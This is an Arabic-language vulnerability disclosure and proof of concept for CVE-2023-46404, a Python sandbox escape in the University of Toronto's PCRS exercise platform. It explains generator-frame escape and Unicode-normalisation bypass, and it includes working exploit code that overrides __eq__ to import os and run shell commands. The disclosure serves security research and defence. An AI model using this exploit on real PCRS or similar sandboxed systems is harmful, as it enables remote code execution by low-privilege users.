
PoC وشرح لـ CVE-2023-46404.
PCRS هو تطبيق ويب لتمارين البرمجة عبر الإنترنت تم تطويره في جامعة تورنتو. انظر مستودع Bitbucket: https://bitbucket.org/utmandrew/pcrs/src/3.11/
صفحة 'الأسئلة' في PCRS مع تقديم الكود وصفحة 'محرر الكود' عرضة لتنفيذ التعليمات البرمجية عن بُعد (RCE) عن طريق الهروب من وضع الحماية للبايثون.
يمكن تحقيق تنفيذ التعليمات البرمجية عن بُعد في حالات PCRS من خلال استخدام كائنات المولدات. باستخدام إطارات المولدات (gi_frame) و f_back، يمكن للنصوص البرمجية الخروج من إطار مكدس محمي وتنفيذ تعليمات برمجية ضارة في بيئة غير محمية. بالإضافة إلى ذلك، يمكن لتطبيع اليونيكود تجاوز التعقيم الأساسي للإدخال بسهولة. يمكن لأي مستخدم مصادق عليه بأقل امتيازات تنفيذ هذا الهجوم. راجع PoC لمزيد من التفاصيل.
إنشاء آليات عزل آمنة من الصفر عرضة للإغفالات والثغرات. كما هو الحال دائمًا، من الأفضل وضع بيئة تنفيذ في صندوق حماية بدلاً من لغة.
يمكن استخدام تجاوز __eq__ في بيئة مقيدة:
def f():
mod_name = "os"
fake_name = "json"
os = __import__(type("s", (str,), {"__eq__": lambda x, y: y == fake_name or y == mod_name, "__hash__": lambda x: hash(mod_name)})(mod_name))
os.system("id > /tmp/test.txt")
s = ᵒpen("/tmp/test.txt").read() # unicode normalization of the "open" function
os.system("rm /tmp/test.txt")
return s